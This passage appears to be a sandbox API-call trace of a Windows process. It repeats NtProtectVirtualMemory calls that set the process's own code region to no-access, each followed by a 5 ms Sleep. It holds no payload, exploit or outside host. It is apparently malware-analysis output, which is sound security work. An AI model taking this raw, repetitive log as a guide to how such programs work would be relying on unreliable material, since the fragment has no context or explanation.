BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.034] Sleep (dwMilliseconds=0x5) [0324.081] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.082] Sleep (dwMilliseconds=0x5) [0324.174] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.175] Sleep (dwMilliseconds=0x5) [0324.224] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.224] Sleep (dwMilliseconds=0x5) [0324.271] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.272] Sleep (dwMilliseconds=0x5) [0324.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.327] Sleep (dwMilliseconds=0x5) [0324.378] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.379] Sleep (dwMilliseconds=0x5) [0324.427] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.428] Sleep (dwMilliseconds=0x5) [0324.474] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.475] Sleep (dwMilliseconds=0x5) [0324.521] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.522] Sleep (dwMilliseconds=0x5) [0324.606] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.608] Sleep (dwMilliseconds=0x5) [0324.650] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.651] Sleep (dwMilliseconds=0x5) [0324.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.697] Sleep (dwMilliseconds=0x5) [0324.744] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.744] Sleep (dwMilliseconds=0x5) [0324.790] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.791] Sleep (dwMilliseconds=0x5) [0324.839] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.840] Sleep (dwMilliseconds=0x5) [0324.886] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.887] Sleep (dwMilliseconds=0x5) [0324.934] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.935] Sleep (dwMilliseconds=0x5) [0324.975] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.976] Sleep (dwMilliseconds=0x5) [0325.022] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.023] Sleep (dwMilliseconds=0x5) [0325.069] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.070] Sleep (dwMilliseconds=0x5) [0325.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.116] Sleep (dwMilliseconds=0x5) [0325.162] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.163] Sleep (dwMilliseconds=0x5) [0325.209] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.210] Sleep (dwMilliseconds=0x5) [0325.257] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.258] Sleep (dwMilliseconds=0x5) [0325.349] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.350] Sleep (dwMilliseconds=0x5) [0325.403] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.403] Sleep (dwMilliseconds=0x5) [0325.451] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.499] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.500] Sleep (dwMilliseconds=0x5) [0325.556] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.557] Sleep (dwMilliseconds=0x5) [0325.604] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.605] Sleep (dwMilliseconds=0x5) [0325.651] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.652] Sleep (dwMilliseconds=0x5) [0325.699] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.700] Sleep (dwMilliseconds=0x5) [0325.776] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.777] Sleep (dwMilliseconds=0x5) [0325.820] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.821] Sleep (dwMilliseconds=0x5) [0325.863] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.864] Sleep (dwMilliseconds=0x5) [0325.912] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.912] Sleep (dwMilliseconds=0x5) [0325.960] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.961] Sleep (dwMilliseconds=0x5) [0326.003] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.004] Sleep (dwMilliseconds=0x5) [0326.052] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.053] Sleep (dwMilliseconds=0x5) [0326.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.108] Sleep (dwMilliseconds=0x5) [0326.163] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.164] Sleep (dwMilliseconds=0x5) [0326.210] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.211] Sleep (dwMilliseconds=0x5) [0326.264] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.265] Sleep (dwMilliseconds=0x5) [0326.335] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.336] Sleep (dwMilliseconds=0x5) [0326.384] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.385] Sleep (dwMilliseconds=0x5) [0326.432] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.433] Sleep (dwMilliseconds=0x5) [0326.482] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.483] Sleep (dwMilliseconds=0x5) [0326.680] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.680] Sleep (dwMilliseconds=0x5) [0326.768] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.769] Sleep (dwMilliseconds=0x5) [0326.853] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.972] Sleep (dwMilliseconds=0x5) [0327.083] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.084] Sleep (dwMilliseconds=0x5) [0327.166] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.167] Sleep (dwMilliseconds=0x5) [0327.211] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.212] Sleep (dwMilliseconds=0x5) [0327.261] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.261] Sleep (dwMilliseconds=0x5) [0327.305] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.305] Sleep (dwMilliseconds=0x5) [0327.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.370] Sleep (dwMilliseconds=0x5) [0327.412] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.415] Sleep (dwMilliseconds=0x5) [0327.467] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.468] Sleep (dwMilliseconds=0x5) [0327.506] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.507] Sleep (dwMilliseconds=0x5) [0327.557] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.557] Sleep (dwMilliseconds=0x5) [0327.602] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.603] Sleep (dwMilliseconds=0x5) [0327.647] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.647] Sleep (dwMilliseconds=0x5) [0327.697] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.698] Sleep (dwMilliseconds=0x5) [0327.742] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.742] Sleep (dwMilliseconds=0x5) [0327.790] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.791] Sleep (dwMilliseconds=0x5) [0327.839] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.839] Sleep (dwMilliseconds=0x5) [0327.923] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.924] Sleep (dwMilliseconds=0x5) [0327.977] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.978] Sleep (dwMilliseconds=0x5) [0328.020] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.021] Sleep (dwMilliseconds=0x5) [0328.072] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.072] Sleep (dwMilliseconds=0x5) [0328.116] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.117] Sleep (dwMilliseconds=0x5) [0328.166] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.167] Sleep (dwMilliseconds=0x5) [0328.209] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.210] Sleep (dwMilliseconds=0x5) [0328.258] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.258] Sleep (dwMilliseconds=0x5) [0328.310] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, 